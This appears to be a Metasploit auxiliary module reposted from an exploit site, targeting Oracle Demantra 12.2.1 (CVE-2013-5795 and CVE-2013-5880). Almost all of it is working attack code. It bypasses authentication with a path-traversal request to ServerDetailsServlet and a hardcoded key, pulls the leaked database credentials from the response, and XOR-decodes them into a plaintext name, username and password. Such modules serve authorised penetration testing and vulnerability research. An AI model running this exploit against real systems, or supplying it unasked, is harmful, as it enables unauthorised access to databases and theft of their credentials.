Share
## https://sploitus.com/exploit?id=PACKETSTORM:181021
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Oracle Demantra Database Credentials Leak',
'Description' => %q{
This module exploits a database credentials leak found in Oracle Demantra 12.2.1 in
combination with an authentication bypass. This way an unauthenticated user can retrieve
the database name, username and password on any vulnerable machine.
},
'References' =>
[
[ 'CVE', '2013-5795'],
[ 'CVE', '2013-5880'],
[ 'URL', 'https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2013-5795/'],
[ 'URL', 'https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2013-5880/' ]
],
'Author' =>
[
'Oliver Gruskovnjak'
],
'License' => MSF_LICENSE,
'DisclosureDate' => '2014-02-28'
))
register_options(
[
Opt::RPORT(8080),
OptBool.new('SSL', [false, 'Use SSL', false])
])
end
def run_host(ip)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri('demantra', 'common', 'loginCheck.jsp', '..', '..', 'ServerDetailsServlet'),
'vars_get' => {
'UAK' => '406EDC5447A3A43551CDBA06535FB6A661F4DC1E56606915AC4E382D204B8DC1'
}
})
if res.nil? or res.body.empty?
vprint_error("No content retrieved")
return
end
if res.code == 404
vprint_error("File not found")
return
end
if res.code == 200
creds = ""
vprint_status("String received: #{res.body.to_s}") unless res.body.blank?
res.body.to_s.split(",").each do|c|
i = c.to_i ^ 0x50
creds += i.chr
end
print_good("Credentials decoded: #{creds}") unless creds.empty?
end
end
end